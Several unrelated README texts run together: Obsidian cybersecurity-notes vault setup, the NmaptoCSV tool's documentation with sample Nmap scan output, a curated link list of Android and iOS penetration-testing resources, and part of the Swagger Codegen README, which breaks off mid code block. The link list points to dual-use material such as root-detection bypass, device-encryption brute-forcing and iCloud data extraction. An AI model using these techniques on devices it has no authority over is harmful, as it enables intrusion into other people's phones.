```bash sudo apt update sudo apt full-upgrade -y ``` ## Downloading the Vault You will need to [download git](https://git-scm.com/downloads). This is a quick and easy process. On Windows, open the Start Menu and search for 'Git Bash', then click it to open a bash terminal (or navigate to the folder you want to install the notes into, then right-click and press 'Git Bash Here'). On Unix, open a terminal of your choice. In this Git Bash/terminal, type the following: ```bash git clone [email protected]:Twigonometry/Cybersecurity-Notes.git ``` If you are uncomfortable using the command line, you can install [GitHub Desktop](https://desktop.github.com/) instead. Once you have cloned the repsitory, open Obsidian and click `Open folder as vault`, then select the `Cybersecurity-Notes` folder that was just created by Git. You're ready to go! ## Where to Start? If you have no idea what you're looking for, go to the [[Starting Point]] page! If you want to find writeups, they're all in the `Writeups` folder. Cheat sheets are in the `Cheat Sheets` folder. You get the idea. You can also load various workspaces by clicking the 'Manage workspaces' icon on the side panel: ![[Pasted image 20210621224914.png]] Then click load! The Cheat Sheets folder has a number of subfolders, such as sheets on Web Hacking, Linux, and Password Cracking. General cheat sheets, such as the [[Fundamental Skills]] cheat sheet, are in the top level of the folder. This is a good place to start if you're a complete beginner. **What is this Repository?** This is a public version of my main Obsidian vault, containing fleshed out cybersecurity notes and finished writeups. I will commit stuff to this repository as I finish it, moving it over from my main vault. **Requesting Content** If you want to request I add something to this repo, I will do my best to research it and write up some content - you can [open an issue](https://github.com/Twigonometry/Cybersecurity-Notes/issues) to make such a request. I have a [[To Add|list of things to add]], so please check it isn't there first. ## Using Obsidian You could *technically* view this information straight out of GitHub, as it is all Markdown files - but it's built to be viewed in Obsidian, where all the code is pretty and the links between notes actually work. You can see how this collection of notes has developed over time in the git history. Type `git log` to see a list of commits, and `git checkout [HASH]` to go back in time and see the state of the repo back then. ### Useful Hotkeys Obsidian supports a wide range of hotkey commands. Some of the most useful ones are listed below, if you're into your Zettelkasten power use (who isn't?) **(\*) indicates a custom hotkey** Global Search: `Ctrl + Shift + F` (\*) Open Random Note: `Ctrl + R` Turn line into Checklist/Toggle Status: `Ctrl + Enter` (one press turns into list, two presses into checklist, three presses toggles status) Toggle mode: `Ctrl + E` (\*) Toggle default mode: `Ctrl + Shift + E` (useful for when you want to go into graph view and jump around notes, but stay in preview mode - this behaviour [is not default](https://forum.obsidian.md/t/not-retaining-preview-mode-when-switching-to-graph-view-and-back/3080/2)) (\*) Open local graph: `Ctrl + L` (this is useful for exploring linked notes - it will open the graph in a new pane, and clicking a linked note will open it along with its local graph) Paste Plain Text: `Ctrl + Shift + V` (avoids escaping characters in nmap/autorecon output etc - useful if you want to fork/edit this repo) (\*) Split Pane Vertically: `Ctrl + Alt + V` (\*) Split Pane Vertically: `Ctrl + Alt + H` Back/Forward: `Alt + Left-Arrow`/`Alt + Right-Arrow` ### Links [Obsidian Help (Docs)](https://help.obsidian.md/Index) [Features Overview](https://obsidian.md/features) [Medium Guide](https://medium.com/swlh/take-better-notes-with-this-free-note-taking-app-that-wants-to-be-your-second-brain-1a97909a677b) [What exactly is a Vault?](https://forum.obsidian.md/t/what-exactly-is-a-vault/4369/2) [Working with Multiple Vaults](https://help.obsidian.md/How+to/Working+with+multiple+vaults) [Referencing a Vault from another Vault](https://www.reddit.com/r/ObsidianMD/comments/hhat70/reference_a_vault_in_another_valut/) [Single-Vault Philosophy](https://forum.obsidian.md/t/one-vault-vs-multiple-vaults/1445) [Zettelkasten Method](https://medium.com/@rebeccawilliams9941/the-zettelkasten-method-examples-to-help-you-get-started-8f8a44fa9ae6) [Toggling Checklists Hotkeys](https://forum.obsidian.md/t/set-hotkeys-for-creating-unordered-lists-ordered-lists-and-task-lists/4332/25) [Key Mapping Diagram](https://keycombiner.com/collections/obsidian/winlinux/) [Hotkeysplus Repo](https://github.com/argenos/hotkeysplus-obsidian)
NmaptoCSV ============ Description ----------- A simple python script to convert Nmap output to CSV Features -------- * Support of Nmap version 5, 6, 7 normal format output (default format, `-oN` option) * Support of Nmap any version Grepable format output (`-oG` option) and XML (`-oX`) * Parsing main information : IP, FQDN, rDNS, MAC address and vendor, open ports, tcp/udp protocols, listening services and versions, OS, Number of hops to the target, and script output * Custom output format following the main items Usage ----- Pass the Nmap output via stdin or from a specified file (`-i`). The processed dump can be collected at stdout or to a specified file (`-o`). ### Options ``` usage: nmaptocsv [-h] [-i INPUT] [-x XML_INPUT] [-o OUTPUT] [-f FORMAT] [-S] [-d DELIMITER] [-n] [-s] optional arguments: -h, --help show this help message and exit Mandatory parameters: -i INPUT, --input INPUT Nmap scan output file in normal (-oN) or Grepable (-oG) format (stdin if not specified) -x XML_INPUT, --xml-input XML_INPUT Nmap scan output file in XML (-oX) format Output parameters: -o OUTPUT, --output OUTPUT CSV output filename (stdout if not specified) -f FORMAT, --format FORMAT CSV column format { fqdn, rdns, hop_number, ip, mac_address, mac_vendor, port, protocol, os, script, service, version } (default: ip-fqdn-port-protocol- service-version) -S, --script Adds the script column in output, alias for -f "ip- fqdn-port-protocol-service-version-script" -d DELIMITER, --delimiter DELIMITER CSV output delimiter (default ";"). Ex: -d "," -n, --no-newline Do not insert a newline between each host. By default, a newline is added for better readability -s, --skip-header Do not print the CSV header ``` ### Nmap Normal format (default output format -oN) ``` $ python nmaptocsv.py -i test.nmap -f ip-fqdn-port-protocol-service-version-os IP;FQDN;PORT;PROTOCOL;SERVICE;VERSION;OS 192.168.1.2;Test.lan;135;tcp;msrpc;Microsoft Windows RPC;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) 192.168.1.2;Test.lan;139;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) 192.168.1.2;Test.lan;445;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) 192.168.1.2;Test.lan;5357;tcp;http;Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP);Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) $ python nmaptocsv.py -i test.nmap -f ip-fqdn-port-protocol-service-version -d ',' | csvlook |--------------+----------+------+----------+-------------+------------------------------------------| | IP | FQDN | PORT | PROTOCOL | SERVICE | VERSION | |--------------+----------+------+----------+-------------+------------------------------------------| | 192.168.1.2 | Test.lan | 135 | tcp | msrpc | Microsoft Windows RPC | | 192.168.1.2 | Test.lan | 139 | tcp | netbios-ssn | | | 192.168.1.2 | Test.lan | 445 | tcp | netbios-ssn | | | 192.168.1.2 | Test.lan | 5357 | tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | | | |--------------+----------+------+----------+-------------+------------------------------------------| $ nmap -sV -p- localhost -oN - | python nmaptocsv.py IP;FQDN;PORT;PROTOCOL;SERVICE;VERSION 127.0.0.1;localhost;22;tcp;ssh;OpenSSH 7.6p1 Debian 2 (protocol 2.0) 127.0.0.1;localhost;80;tcp;http;Apache httpd 2.4.29 ((Debian)) 127.0.0.1;localhost;5432;tcp;postgresql;PostgreSQL DB 9.5.4 127.0.0.1;localhost;5433;tcp;postgresql;PostgreSQL DB 9.6.0 or later 127.0.0.1;localhost;5434;tcp;postgresql;PostgreSQL DB 9.6.0 or later ``` ### Nmap Grepable format (-oG) ``` $ cat scan.gnmap # Nmap 6.01 scan initiated Thu Nov 22 11:28:15 2012 as: nmap -p- -sV -oA scan 10.0.0.0/24 Host: 10.0.0.1 (test1.local) Status: Up Host: 10.0.0.1 (test1.local) Ports: 23/open/tcp//telnet//Cisco router telnetd/ Ignored State: closed (65534) Host: 10.0.0.2 (test2.local) Status: Up Host: 10.0.0.2 (test2.local) Ports: 23/open/tcp//telnet//Cisco router telnetd/ Ignored State: closed (65534) Host: 10.0.0.3 (test3.local) Status: Up Host: 10.0.0.3 (test3.local) Ports: 23/open/tcp//telnet//Cisco router telnetd/ Ignored State: closed (65534) Host: 10.0.0.50 (test50.local) Status: Up Host: 10.0.0.50 (test50.local) Ports: 22/open/tcp//ssh//OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)/, 80/open/tcp//http//Apache httpd 1.3.33 ((Debian GNU|Linux) PHP|4.3.10-19)/, 111/open/tcp//rpcbind (rpcbind V2)/(rpcbind:100000*2-2)/2 (rpc #100000)/, 113/open/tcp//ident///, 684/open/tcp//status (status V1)/(status:100024*1-1)/1 (rpc #100024)/, 5432/open/tcp//postgresql//PostgreSQL DB (French)/ Ignored State: closed (65529) Host: 10.0.0.100 (test100.local) Status: Up Host: 10.0.0.100 (test100.local) Ports: 80/closed/tcp//http///, 5432/open/tcp//postgresql//PostgreSQL DB (French)/, 19999/filtered/tcp///// Ignored State: closed (65532) $ python nmaptocsv.py -i scan.gnmap -f ip-fqdn IP;FQDN 10.0.0.1;test1.local 10.0.0.2;test2.local 10.0.0.3;test3.local 10.0.0.50;test50.local 10.0.0.100;test100.local $ cat scan.gnmap | python nmaptocsv.py IP;FQDN;PORT;PROTOCOL;SERVICE;VERSION 10.0.0.1;test1.local;23;tcp;telnet;Cisco router telnetd 10.0.0.2;test2.local;23;tcp;telnet;Cisco router telnetd 10.0.0.3;test3.local;23;tcp;telnet;Cisco router telnetd 10.0.0.50;test50.local;22;tcp;ssh;OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) 10.0.0.50;test50.local;80;tcp;http;Apache httpd 1.3.33 ((Debian GNU|Linux) PHP|4.3.10-19) 10.0.0.50;test50.local;111;tcp;rpcbind (rpcbind V2);(rpcbind:100000*2-2)/2 (rpc #100000) 10.0.0.50;test50.local;113;tcp;ident; 10.0.0.50;test50.local;684;tcp;status (status V1);(status:100024*1-1)/1 (rpc #100024) 10.0.0.50;test50.local;5432;tcp;postgresql;PostgreSQL DB (French) 10.0.0.100;test100.local;5432;tcp;postgresql;PostgreSQL DB (French) ``` Dependencies and installation ----------------------------- * A Python interpreter with version 2.7 or 3.X * Python 2.6 works with .nmap and .gnmap files but not with .xml ones * The **easiest way** to setup everything: `pip install nmaptocsv` and then directly use `$ nmaptocsv` * Or git clone that repository and `pip install -r requirements.txt` and then `python nmaptocsv.py` Changelog --------- * version 1.6 - 06/13/2019: Python 3 support * version 1.5 - 09/30/2018: few bugs fixed in XML parsing + script alias format added * version 1.4 - 08/16/2018: few bugs fixed + XML parsing implementation * version 1.3 - 08/13/2018: fixing the README layout on PyPI * version 1.2 - 01/07/2018: script output parsing addition * version 1.1 - 01/07/2018: Cleaning the code, fixing some parsing bugs, delimiter option addition and made newline default * version 1.0 - from 2012 to 2013 Copyright and license --------------------- Nmaptocsv is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Nmaptocsv is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with nmaptocsv. If not, see http://www.gnu.org/licenses/. Contact ------- * Thomas Debize < tdebize at mail d0t com >
Resources for Mobile Application Testing # Android ### Blogs, Papers, How To's * [An Android Hacking Primer](https://medium.com/swlh/an-android-hacking-primer-3390fef4e6a0) * [Secure an Android Device](https://source.android.com/security) * [Security tips](https://developer.android.com/training/articles/security-tips) * [OWASP Mobile Security Testing Guide](https://www.owasp.org/index.php/OWASP_Mobile_Security_Testing_Guide) * [Security Testing for Android Cross Platform Application](https://3xpl01tc0d3r.blogspot.com/2019/09/security-testing-for-android-app-part1.html) * [Dive deep into Android Application Security](https://blog.0daylabs.com/2019/09/18/deep-dive-into-Android-security/) * [Pentesting Android Apps Using Frida](https://www.notsosecure.com/pentesting-android-apps-using-frida/) * [Mobile Security Testing Guide](https://mobile-security.gitbook.io/mobile-security-testing-guide/) * [Mobile Application Penetration Testing Cheat Sheet](https://github.com/sh4hin/MobileApp-Pentest-Cheatsheet) * [Android Applications Reversing 101](https://www.evilsocket.net/2017/04/27/Android-Applications-Reversing-101/#.WQND0G3TTOM.reddit) * [Android Security Guidelines](https://developer.box.com/en/guides/security/) * [Android WebView Vulnerabilities](https://pentestlab.blog/2017/02/12/android-webview-vulnerabilities/) * [OWASP Mobile Top 10](https://www.owasp.org/index.php/OWASP_Mobile_Top_10) * [Practical Android Phone Forensics](https://resources.infosecinstitute.com/practical-android-phone-forensics/) * [Mobile Reverse Engineering Unleashed](http://www.vantagepoint.sg/blog/83-mobile-reverse-engineering-unleashed) * [Android Root Detection Bypass Using Objection and Frida Scripts](https://medium.com/@GowthamR1/android-root-detection-bypass-using-objection-and-frida-scripts-d681d30659a7) * [quark-engine - An Obfuscation-Neglect Android Malware Scoring System](https://github.com/quark-engine/quark-engine) * [Root Detection Bypass By Manual Code Manipulation.](https://medium.com/@sarang6489/root-detection-bypass-by-manual-code-manipulation-5478858f4ad1) * [Application and Network Usage in Android](https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1528491463.pdf) * [GEOST BOTNET - the discovery story of a new Android banking trojan](http://public.avast.com/research/VB2019-Garcia-etal.pdf) * [Mobile Pentesting With Frida](https://drive.google.com/file/d/1JccmMLi6YTnyRrp_rk6vzKrUX3oXK_Yw/view) * [Magisk Systemless Root - Detection and Remediation](https://www.mobileiron.com/en/blog/magisk-android-rooting) * [AndrODet: An adaptive Android obfuscation detector](https://arxiv.org/pdf/1910.06192.pdf) * [Hands On Mobile API Security](https://hackernoon.com/hands-on-mobile-api-security-get-rid-of-client-secrets-a79f111b6844) * [Zero to Hero - Mobile Application Testing - Android Platform](https://nileshsapariya.blogspot.com/2016/11/zero-to-hero-mobile-application-testing.html) * [How to use FRIDA to bruteforce Secure Startup with FDE-encryption on a Samsung G935F running Android 8](https://github.com/Magpol/fridafde) * [Android Malware Adventures](https://docs.google.com/presentation/d/1pYB522E71hXrp4m3fL3E3fnAaOIboJKqpbyE5gSsOes/edit) ### Labs * [DIVA (Damn insecure and vulnerable App)](https://github.com/payatu/diva-android) * [SecurityShepherd](https://github.com/OWASP/SecurityShepherd) * [Damn Vulnerable Hybrid Mobile App (DVHMA)](https://github.com/logicalhacking/DVHMA) * [OWASP-mstg](https://github.com/OWASP/owasp-mstg/tree/master/Crackmes) * [VulnerableAndroidAppOracle](https://github.com/dan7800/VulnerableAndroidAppOracle) * [Android InsecureBankv2](https://github.com/dineshshetty/Android-InsecureBankv2) * [Purposefully Insecure and Vulnerable Android Application (PIIVA)](https://github.com/htbridge/pivaa) * [Sieve app](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) * [DodoVulnerableBank](https://github.com/CSPF-Founder/DodoVulnerableBank) * [Digitalbank](https://github.com/CyberScions/Digitalbank) * [OWASP GoatDroid](https://github.com/jackMannino/OWASP-GoatDroid-Project) * [AppKnox Vulnerable Application](https://github.com/appknox/vulnerable-application) * [Vulnerable Android Application](https://github.com/Lance0312/VulnApp) * [MoshZuk](https://dl.dropboxusercontent.com/u/37776965/Work/MoshZuk.apk) * [Hackme Bank](http://www.mcafee.com/us/downloads/free-tools/hacme-bank-android.aspx) * [Android Security Labs](https://github.com/SecurityCompass/AndroidLabs) * [Android-InsecureBankv2](https://github.com/dineshshetty/Android-InsecureBankv2) * [Android-security](https://github.com/rafaeltoledo/android-security) * [VulnDroid](https://github.com/shahenshah99/VulnDroid) ### Misc. * [Android-Reports-and-Resources](https://github.com/B3nac/Android-Reports-and-Resources/blob/master/README.md) * [android-security-awesome](https://github.com/ashishb/android-security-awesome) * [Android Penetration Testing Courses](https://medium.com/mobile-penetration-testing/android-penetration-testing-courses-4effa36ac5ed) * [Lesser-known Tools for Android Application PenTesting](https://captmeelo.com/pentest/2019/12/30/lesser-known-tools-for-android-pentest.html) * [android-device-check - a set of scripts to check Android device security configuration](https://github.com/nelenkov/android-device-check) * [apk-mitm - a CLI application that prepares Android APK files for HTTPS inspection](https://github.com/shroudedcode/apk-mitm) * [Andriller - is software utility with a collection of forensic tools for smartphones](https://github.com/den4uk/andriller) * [Dexofuzzy: Android malware similarity clustering method using opcode sequence-Paper](https://www.virusbulletin.com/virusbulletin/2019/11/dexofuzzy-android-malware-similarity-clustering-method-using-opcode-sequence/) * [Chasing the Joker](https://docs.google.com/presentation/d/1sFGAERaNRuEORaH06MmZKeFRqpJo1ol1xFieUa1X_OA/edit#slide=id.p1) * [Side Channel Attacks in 4G and 5G Cellular Networks-Slides](https://i.blackhat.com/eu-19/Thursday/eu-19-Hussain-Side-Channel-Attacks-In-4G-And-5G-Cellular-Networks.pdf) * [Shodan.io-mobile-app for Android](https://github.com/PaulSec/Shodan.io-mobile-app) # iOS ### Blogs, Papers, How to's * [iOS Security](https://www.cse.wustl.edu/~jain/cse571-14/ftp/ios_security/index.html) * [Basic iOS Apps Security Testing lab](https://medium.com/@ehsahil/basic-ios-apps-security-testing-lab-1-2bf37c2a7d15) * [IOS Application security – Setting up a mobile pentesting platform](https://resources.infosecinstitute.com/ios-application-security-part-1-setting-up-a-mobile-pentesting-platform/#gref) * [Collection of the most common vulnerabilities found in iOS applications](https://github.com/felixgr/secure-ios-app-dev) * [IOS_Application_Security_Testing_Cheat_Sheet](https://www.owasp.org/index.php/IOS_Application_Security_Testing_Cheat_Sheet) * [OWASP iOS Basic Security Testing](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing) * [Dynamic analysis of iOS apps w/o Jailbreak](https://medium.com/@ansjdnakjdnajkd/dynamic-analysis-of-ios-apps-wo-jailbreak-1481ab3020d8) * [iOS Application Injection](https://arjunbrar.com/post/ios-application-injection) * [Low-Hanging Apples: Hunting Credentials and Secrets in iOS Apps](https://spaceraccoon.dev/low-hanging-apples-hunting-credentials-and-secrets-in-ios-apps) * [Checkra1n Era - series](https://blog.digital-forensics.it/) * [BFU Extraction: Forensic Analysis of Locked and Disabled iPhones](https://blog.elcomsoft.com/2019/12/bfu-extraction-forensic-analysis-of-locked-and-disabled-iphones/) * [HowTo-decrypt-Signal.sqlite-for-IOS](https://github.com/Magpol/HowTo-decrypt-Signal.sqlite-for-IOS) * [Can I Jailbreak?](https://canijailbreak.com/) * [How to Extract Screen Time Passcodes and Voice Memos from iCloud](https://blog.elcomsoft.com/2019/10/how-to-extract-screen-time-passcodes-and-voice-memos-from-icloud/) * [Reverse Engineering Swift Apps](https://github.com/iOS-Reverse-Engineering-Dev/Swift-Apps-Reverse-Engineering/blob/master/Reverse%20Engineering%20Swift%20Applications.pdf) * [Mettle your iOS with FRIDA](https://sensepost.com/blog/2019/mettle-your-ios-with-frida/) * [A run-time approach for pentesting iOS applications](https://blog.securelayer7.net/a-run-time-approach-for-pen-testing-ios-applications-part-ii-objection-in-action/) * [iOS Internals vol 2](http://newosxbook.com/bonus/iBoot.pdf) * [Understanding usbmux and the iOS lockdown service](https://medium.com/@jon.gabilondo.angulo_7635/understanding-usbmux-and-the-ios-lockdown-service-7f2a1dfd07ae) * [A Deep Dive into iOS Code Signing](https://blog.umangis.me/a-deep-dive-into-ios-code-signing/) * [AirDoS: remotely render any nearby iPhone or iPad unusable](https://kishanbagaria.com/airdos/) * [How to access and traverse a #checkra1n jailbroken iPhone File system using SSH](https://aboutdfir.com/jailbreaking-checkra1n-configuration/) ### Labs * [OWASP iGoat](https://www.owasp.org/index.php/OWASP_iGoat_Tool_Project) * [Damn Vulnerable iOS App (DVIA) v2](https://github.com/prateek147/DVIA-v2) * [Damn Vulnerable iOS App (DVIA) v1](https://github.com/prateek147/DVIA) * [iPhoneLabs](https://github.com/SecurityCompass/iPhoneLabs) * [iOS-Attack-Defense](https://github.com/ManicodeSecurity/iOS-Attack-Defense) ### Misc. * [Most usable tools for iOS penetration testing](https://github.com/ansjdnakjdnajkd/iOS) * [iOS-Security-Guides](https://github.com/0xmachos/iOS-Security-Guides) * [osx-security-awesome - OSX and iOS related security tools](https://github.com/ashishb/osx-and-ios-security-awesome) * [Trust in Apple's Secret Garden: Exploring & Reversing Apple's Continuity Protocol-Slides](https://i.blackhat.com/eu-19/Thursday/eu-19-Yen-Trust-In-Apples-Secret-Garden-Exploring-Reversing-Apples-Continuity-Protocol-3.pdf) * [Apple Platform Security](https://manuals.info.apple.com/MANUALS/1000/MA1902/en_US/apple-platform-security-guide.pdf)
# Swagger Code Generator - Master (2.3.0): [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) - 3.0.0: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/3.0.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea/3.0.0.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=3.0.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen/tree/3.0.0.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Apex**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Eiffel**, **Go**, **Groovy**, **Haskell**, **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign, RestTemplate, RESTEasy, Vertx), **Kotlin**, **Lua**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **PowerShell**, **Python**, **Ruby**, **Rust**, **Scala**, **Swift** (2.x, 3.x, 4.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **C++** (Pistache, Restbed), **Erlang**, **Go**, **Haskell**, **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy, Play Framework), **PHP** (Lumen, Slim, Silex, [Symfony](https://symfony.com/), [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Configuration files**: [**Apache2**](https://httpd.apache.org/) - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Development in Docker](#development-in-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Technical Committee](#swagger-codegen-technical-committee) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 3.0.0 (upcoming major release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/3.0.0-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes 2.3.0 (current master, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/2.3.0-SNAPSHOT/)| Jul/Aug 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes [2.2.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.3) (**current stable**) | 2017-07-15 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-codegen/tree/v2.2.3) [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum): ```sh wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ```sh brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ```sh export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ```sh mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ```sh swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ```sh ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ```sh git 